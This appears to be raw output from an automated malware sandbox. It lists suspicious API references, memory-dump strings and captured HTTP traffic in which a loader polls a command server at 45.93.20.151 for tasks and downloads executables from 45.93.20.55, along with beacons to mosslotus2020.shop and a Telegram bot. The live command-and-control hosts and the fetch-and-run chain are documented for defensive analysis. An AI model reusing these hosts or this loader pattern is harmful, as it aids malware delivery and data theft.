API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002216.00000000.188440.00999000.00000004.mdmp, 00000000-00002216.00000001.188613.00999000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002216.00000000.188440.00999000.00000004.mdmp, 00000000-00002216.00000001.188613.00999000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002376.00000000.188878.012EC000.00000004.mdmp, 00000000-00002376.00000001.189624.012EC000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002376.00000000.188878.012EC000.00000004.mdmp, 00000000-00002376.00000001.189624.012EC000.00000004.mdmp")30:T4bf,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "socxtnre.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "socxtnre.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/>" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001696.00000000.187768.00357000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/>" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001696.00000000.187768.00357000.00000004.mdmp")31:T78a,Found PE header "MZ" - Source: "00000000-00001696.00000000.187768.0036C000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001948.00000000.188202.00820000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00001948.00000000.188202.04CA0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00001948.00000001.190121.00820000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00001948.00000001.190121.04CA0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00001948.00000002.192044.00820000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00001948.00000002.192044.04CA0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004300.00000000.187892.055F0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004708.00000000.189338.0033C000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00005220.00000000.188904.011FC000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00006276.00000001.188247.0144C000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00007368.00000000.188550.047D4000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00007368.00000001.190472.047D4000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00007368.00000001.190472.04D02000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00007368.00000001.190472.065D0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00007368.00000001.190472.07A50000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00007368.00000002.191665.04EF0000.00000020.mdmp") Found PE header "MZ" - Source: "00000000-00007492.00000001.191167.6B0A4000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00007860.00000000.188597.00F8C000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00007952.00000000.189745.00CFC000.00000002.mdmp")32:T8d2," HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed 28 Jan 2026 00:15:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9762 Connection: keep-alive Set-Cookie: stel_ssid=0dd30e3276bd3a85f3_13881423666627715527; expires=Thu 29 Jan 2026 00:15:22 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /fc42b661e800a99c949ecc10001c1f3b/6v0tazc5mboxujs HTTP/1.1 Connection: Keep-Alive User-Agent: Client/1.0 Host: mosslotus2020.shop" Response ==> HTTP/1.1 200 OK Date: Wed 28 Jan 2026 00:15:23 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=17 cfOrigin;dur=297 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Nxl278reJ6bvoqTXbTFw5l93rhf0%2B0l6wpwc761TF98Pph9z%2FlASYdDUNlFpr32YDD77tmh9Gj2p0yjFLAPKDlWL2HymIs4W15Nych2B1F8dYA%3D%3D"}]} CF-RAY: 9c4c4b8a787e3493-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4F4B....... "GET /geter/index.php?cmd=task&uid=btldr0671ECFCFE70F269A&status=task HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 45.93.20.151 Connection: Close" Response ==> HTTP/1.1 200 OK Date: Wed 28 Jan 2026 00:15:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 32 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>687474703A2F2F34352E39332E32302E3135312F6D617274726561642E657865....... "GET /martread.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 45.93.20.151 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Wed 28 Jan 2026 00:15:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat 24 Jan 2026 15:21:43 GMT ETag: "59533e-64923d4caafc0" Accept-Ranges: bytes Content-Length: 5854014 Content-Type: application/x-msdos-program with response body ==>4D5A50000200000004000F00C3BFC3BF0000C2B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000000....... "GET /u6j3phm900pz.exe HTTP/1.1 Host: 45.93.20.55 Pragma: no-cache Content-type: text/html Connection: close" Response ==> HTTP/1.1 200 OK Date: Wed 28 Jan 2026 00:15:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 26 Jan 2026 19:49:52 GMT ETag: "a800-6494fcf741800" Accept-Ranges: bytes Content-Length: 43008 Connection: close Content-Type: application/x-msdos-program with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /syibvx.exe HTTP/1.1 Host: 45.93.20.55 Pragma: no-cache Content-type: text/html Connection: close" Response ==> HTTP/1.1 200 OK Date: Wed 28 Jan 2026 00:15:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 26 Jan 2026 19:49:32 GMT ETag: "12e00-6494fce42eb00" Accept-Ranges: bytes Content-Length: 77312 Connection: close Content-Type: application/x-msdos-program with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /Public-key_73.18.9_INSTALL.exe HTTP/1.1 Host: 45.93.20.55 Pragma: no-cache Content-type: text/html Connection: close" Response ==> HTTP/1.1 200 OK Date: Wed 28 Jan 2026 00:15:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 26 Jan 2026 22:30:29 GMT ETag: "2c5ace-649520ddd0b40" Accept-Ranges: bytes Content-Length: 2906830 Connection: close Content-Type: application/x-msdos-program with response body ==>4D5A50000200000004000F00C3BFC3BF0000C2B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000000....... "GET /xtelegram_xstar_bot HTTP/1.1 Connection: Keep-Alive User-Agent: gvfs/1.57.2 Host: t.me" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed 28 Jan 2026 00:15:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9761 Connection: keep-alive Set-Cookie: stel_ssid=da90a0ff7dbad86a9b_2781454244302755814; expires=Thu 29 Jan 2026 00:15:42 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /fc42b661e800a99c949ecc10001c1f3b/6v0tazc5mboxujs HTTP/1.1 Connection: Keep-Alive User-Agent: Client/1.0 Host: mosslotus2020.shop" Response ==> HTTP/1.1 200 OK Date: Wed 28 Jan 2026 00:15:43 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=24 cfOrigin;dur=494 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Ghq%2BhS9qJtasywuAE8uKPqYUn5m5jtmQYJNzJFCPh5AFd0IqnzjxmlwhrwGqYCdg%2FiJSy1lQwvVZqA%2FAUvJUEl%2BH7oXZ76%2FasqXrmEbfq78AqQ%3D%3D"}]} CF-RAY: 9c4c4c06edffcfcc-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4F4B....... "GET /geter/index.php?cmd=task&uid=btldr0671ECFCFE70F269A&status=task HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 45.93.20.151 Connection: Close" Response ==> HTTP/1.1 200 OK Date: Wed 28 Jan 2026 00:16:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 30 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>687474703A2F2F34352E39332E32302E35352F73796E636C6F682E657865....... "GET /syncloh.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 45.93.20.55 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Wed 28 Jan 2026 00:16:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 26 Jan 2026 06:12:00 GMT ETag: "b7e00-649446288cc00" Accept-Ranges: bytes Content-Length: 753152 Content-Type: application/x-msdos-program with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /geter/index.php?cmd=task&uid=btldr0671ECFCFE70F269A&status=task HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 45.93.20.151 Connection: Close" Response ==> HTTP/1.1 200 OK Date: Wed 28 Jan 2026 00:17:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 49 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>687474703A2F2F34352E39332E32302E35352F5075626C69632D6B65795F37332E31382E395F494E5354414C4C2E657865....... "GET /Public-key_73.18.9_INSTALL.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 45.93.20.55 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Wed 28 Jan 2026 00:17:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 26 Jan 2026 22:30:29 GMT ETag: "2c5ace-649520ddd0b40" Accept-Ranges: bytes Content-Length: 2906830 Content-Type: application/x-msdos-program with response body ==>4D5A50000200000004000F00C3BFC3BF0000C2B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000000.......6f:T8faa,"" /tr "/create /sc minute /tn "schtasks.exeopen/query /tn "Global\%sOnline1EV9MEuZGVTTjnmf9hXmuY9tVMUn7SsJzH0xbd5c51636a34a4f761c0176528d9a350c8086189LbQqxh7EKM9JzRuhzk5cLzyJyMfPoCZs3qTLEHjvyh2ETKnrH5JFuyUmjre83N69gFdMGetClipboardSequenceNumberSetClipboardDataOpenClipboardGetClipboardDataEmptyClipboardCloseClipboardCorExitProcess Complete Object Locator' Class Hierarchy Descriptor' Base Class Array' Base Class Descriptor at ( Type Descriptor'`local static thread guard'`managed vector copy constructor iterator'`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni callsig' delete[] new[]`local vftable constructor closure'`local vftable'`RTTI`udt returning'`copy constructor closure'`eh vector vbase constructor iterator'`eh vector destructor iterator'`eh vector constructor iterator'`virtual displacement map'`vector vbase constructor iterator'`vector destructor iterator'`vector constructor iterator'`scalar deleting destructor'`default constructor closure'`vector deleting destructor'`vbase destructor'`string'`local static guard'`typeof'`vcall'`vbtable'`vftable'operator delete new__unaligned__restrict__ptr64__eabi__clrcall__fastcall__thiscall__stdcall__pascal__cdecl__based(GetProcessWindowStationGetUserObjectInformationWGetLastActivePopupGetActiveWindowMessageBoxWHH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuarySaturdayFridayThursdayWednesdayTuesdayMondaySunday !"#$%&'()*+ -./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~6:fJ!Q@NKagj(hMb=LkmSwO/-Rb_chkstkmemsetntdll.dllCreateFileAGetModuleHandleALoadLibraryAWriteFileGetComputerNameAGetProcAddressIsBadReadPtrGetACPlstrlenAInterlockedDecrementSleepGetLastErrorHeapAllocExitProcessGetModuleHandleWGlobalUnlockGlobalLockGlobalFreeGlobalAllocKERNEL32.dllwsprintfAUSER32.dllRtlUnwindHeapFreeEncodePointerDecodePointerGetStdHandleGetModuleFileNameWInitializeCriticalSectionAndSpinCountLeaveCriticalSectionEnterCriticalSectionTlsGetValueTlsSetValueInterlockedIncrementSetLastErrorGetCurrentThreadIdUnhandledExceptionFilterSetUnhandledExceptionFilterIsDebuggerPresentTerminateProcessGetCurrentProcessLoadLibraryWGetCPInfoGetOEMCPIsValidCodePageWideCharToMultiByteLCMapStringWMultiByteToWideCharGetStringTypeWIsProcessorFeaturePresent5732282vd0M29DW&2(r{[$$LUuO ," fR'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*! k{E03>DJxf}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg`yI]#E0O"9DS8=(l__q5.hG?B4CV-8|e'1'|Q|cvMXjaE0O29DS&=(GL+.5f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]HgrDlCI8TtA9LZ(u*YWQlp;N?J}*2,,s8sz1(ejOK_u/BxbwLR9tC5>o[V-GM="VQriZeOYJA%uaaX~({4uUh0A%e(f)p&=&T xBo~F`;u0O21\;/ybw?c)j_CONUKevgh!g{5510D|vy_J]e6(s5IlP^Wja)L[^Z9DSx:+_TXd d:#1-8t(0`.B~?GW/Pd-]1MFg3IU ezSc49KAL[\Q)Rq-Nyb+cq)$Y_Ir;;uFjS'RAhWjauxs~u@Wu(LY+mUS'=+.53?KB1HG ]*PPj!-420Wg(GENtCUY1tbiTHeagU^/cvMf\kouLy> $sF]Hg*!,;>E0O29Da54BYZhwr=h4CV-8`gw)T|9F2)TJjZAX?%C#p5@L7@%HC0Q<;;>E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0O29DS&=(ga6}h'S4e9@|__rxz'ZQ|Yzyu$sF$OZb{*!,wQ&Q#tK!6&=(K}GoYlRoMeylDf}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0O29DS&=(5oDvpf}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;.E0;39DQ'He:[E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0+rxS&=(f}h/CV-8KNU`biTc63BBtShZQ|-3Z*!,;>E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg.data abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ208F8[8:$:}:;9;d;`?r?0[0~02u5{595;C;M;g;z;<-<7&>,>B>H>Z>}>>6?">'>5>0!0'01&1 161?1J1O1X1b1m14F56767e9v990:8:M:X:;I;~;!>*>/>>>e>U0o0x00 1D1K1S1X1\1`11:2@2D2H2L2373i3p3t3x3|33f4l4r4x4~45 51575=5S5Z5589J9\9n9:$:6:H:Z:l:~::y;I<3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|33$3,3: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:; ;h;<0d=xz" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://www.microsoft.com0" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0\^" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://pki.eset.com/crt/csca2020.crt05.0,0*$http://pki.eset.com/crl/csca2020.crl0ib0@00%0" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://pki.eset.com/csp0jte;u" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://pki.eset.com/crt/rootca2020.crt0700.0,&http://pki.eset.com/crl/rootca2020.crl0?806040%0" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://pki.eset.com/csp0elxqj^x8;,*+-*" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://pki.eset.com/crt/tsca2020.crt05.0,0*$http://pki.eset.com/crl/tsca2020.crl0?806040%0" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://pki.eset.com/csp0rleog9[jrg" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://pki.eset.com/csp0'dbgc" - Source: "00000000-00005220.00000001.188938.008EC000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005944.00000000.187387.AD530000.00000004.mdmp") Found URL "http://45.93.20.55/49dcd5e318c542c5.php" - Source: "00000000-00005944.00000001.187515.AD530000.00000004.mdmp") Found URL "http://45.93.20.55/49dcd5e318c542c5.phpstallgetlogicalprocessorinformationexlmem" - Source: "00000000-00005944.00000001.187515.AD530000.00000004.mdmp") Found URL "http://45.93.20.55abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/hwidbuild:sun:sunday:mon:monday:tue:tuesday:wed:wednesday:thu:thursday:fri:friday:sat:saturdayabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/2or" - Source: "00000000-00005944.00000001.187515.AD530000.00000004.mdmp") Found URL "http://45.93.20.55/49dcd5e318c542c5.phpcontent-type:" - Source: "00000000-00005944.00000001.187515.AD530000.00000004.mdmp") Found URL "http://45.93.20.55/49dcd5e318c542c5.phpahwvua-cpu:" - Source: "00000000-00005944.00000001.187515.AD530000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005952.00000000.187419.00640000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005952.00000001.187540.00640000.00000004.mdmp") Found URL "http://45.93.20.151/geter/index.php?mozilla/5.0.exekernel32.dllwininet.dlltaskstatus.dllwinspool.drvole32.dllpsapi.dllimagehlp.dllshlwapi.dllcrypt32.dllgdiplus.dllgdi32.dllopera.dllcabinet.dllwinmm.dllssl3.dllnspr4.dllurlmon.dllwininet.dllshell32.dllwinsta.dllntdll.dllws2_32.dlluser32.dlladvapi32.dll%s" - Source: "00000000-00005952.00000001.187540.00D4E000.00000002.mdmp") Found URL "https://t.me/xtelegram_xstar_bott.met.me=<5/t.met.met.met.melobal\bfe_notify_event_" - Source: "00000000-00005976.00000000.187411.91B50000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005976.00000000.187411.91B50000.00000004.mdmp") Found URL "http://mosslotus2020.shop/mosslotus2020.shop:\windows\system32\msv1_0.dll:\windows\system32\schannel.dll:\windows\system32\ncryptsslp.dllicrosoft" - Source: "00000000-00005976.00000001.189333.91B50000.00000004.mdmp") Found URL "https://t.me/xtelegram_xstar_botsha1microsoft" - Source: "00000000-00005976.00000001.189333.91B50000.00000004.mdmp") Found URL "http://mosslotus2020.shop/mosslotus2020.shopt.mebrainpoolp256t1ecdhcryptoidinfoeccparametersbrainpoolp160r1ecdhcryptoidinfoeccparametersbrainpoolp320r1ecdsacryptoidinfoeccparametersbrainpoolp160r1ecdsacryptoidinfoeccparametersbrainpoolp224r1ecdhcryptoidinfoeccparametersbrainpoolp320t1ecdsacryptoidinfoeccparametersbrainpoolp192r1ecdsacryptoidinfoeccparametersbrainpoolp384r1ecdhcryptoidinfoeccparametersbrainpoolp192t1ecdsacryptoidinfoeccparametersbrainpoolp320r1ecdhcryptoidinfoeccparametersbrainpoolp384t1ecdsacryptoidinfoeccparameterst.mebrainpoolp384t1ecdhcryptoidinfoeccparametersbrainpoolp192t1ecdhcryptoidinfoeccparametersbrainpoolp224t1ecdsacryptoidinfoeccparametersbrainpoolp160t1ecdhcryptoidinfoeccparametersbrainpoolp224t1ecdhcryptoidinfoeccparametersbrainpoolp320t1ecdhcryptoidinfoeccparametersbrainpoolp384r1ecdsacryptoidinfoeccparametersbrainpoolp256r1ecdsacryptoidinfoeccparametersbrainpoolp160t1ecdsacryptoidinfoeccparametersbrainpoolp192r1ecdhcryptoidinfoeccparametersbrainpoolp256r1ecdhcryptoidinfoeccparametersbrainpoolp224r1ecdsacryptoidinfoeccparametersbrainpoolp256t1ecdsacryptoidinfoeccparametersttp://mosslotus2020.shop/fc42b661e800a99c949ecc10001c1f3b/yzc5yj81yv0h2fwc:\windows\system32\inetcomm.dllc:\windows\system32\cryptnet.dllttp://mosslotus2020.shop/fc42b661e800a99c949ecc10001c1f3b/q38dyv0te345uf4oftware\microsoft\windows\currentversion\internet" - Source: "00000000-00005976.00000001.189333.91B50000.00000004.mdmp") Found URL "http://mosslotus2020.shop/fc42b661e800a99c949ecc10001c1f3b/yzc5yj81yv0h2fwhyper-v" - Source: "00000000-00005976.00000001.189333.91B50000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005976.00000001.189333.91B50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202013.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202013.crt0g<8qcf^$$%" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0!6a4pu" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://www.microsoft.com0a" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0?wt]1-mlwashington1redmond1microsoft" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://pki.eset.com/crt/csca2020.crt05.0,0*$http://pki.eset.com/crl/csca2020.crl0ib0@00%0" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://pki.eset.com/csp0jte;u" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://pki.eset.com/crt/rootca2020.crt0700.0,&http://pki.eset.com/crl/rootca2020.crl0?806040%0" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://pki.eset.com/csp0elxqj^x8;,*+-*" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://pki.eset.com/crt/tsca2020.crt05.0,0*$http://pki.eset.com/crl/tsca2020.crl0?806040%0" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://pki.eset.com/csp0rleog9[jrg" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://pki.eset.com/csp0'dbgc" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/miccodsigpca2011_2011-07-08.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/miccodsigpca2011_2011-07-08.crt0zeaf$x" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt03http://www.microsoft.com/pkiops/docs/primarycps.htm0@e_.,>d=xz" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "http://www.microsoft.com0m" - Source: "00000000-00006276.00000001.188247.00D8C000.00000004.mdmp") Found URL "https://go.eset.com" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "http://redirector.eset.systems" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "https://help.eset.com" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "http://windowsupdate.microsoft.comexplorer.exelinkreferenceguireferrer&guireferrer=%sgui.web.showgui.faq.showgui.websupport.showgui.feedback.showhttps://go.eset.com/supportform?version=$" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "https://go.eset.com/product/knowledgebase?lng=$" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "https://go.eset.com/product/license-troubleshooting?lng=$" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "https://go.eset.com/product/product-troubleshooting?lng=$" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "https://help.eset.com/gethelp?product=$" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "https://go.eset.com/ehome_security_features?feature=vpn&lng=$" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "https://go.eset.com/vpn_apps?lng=$" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL "https://go.eset.com/ehome_security_features?feature=ip&lng=$" - Source: "00000000-00007368.00000000.188550.002DD000.00000002.mdmp") Found URL 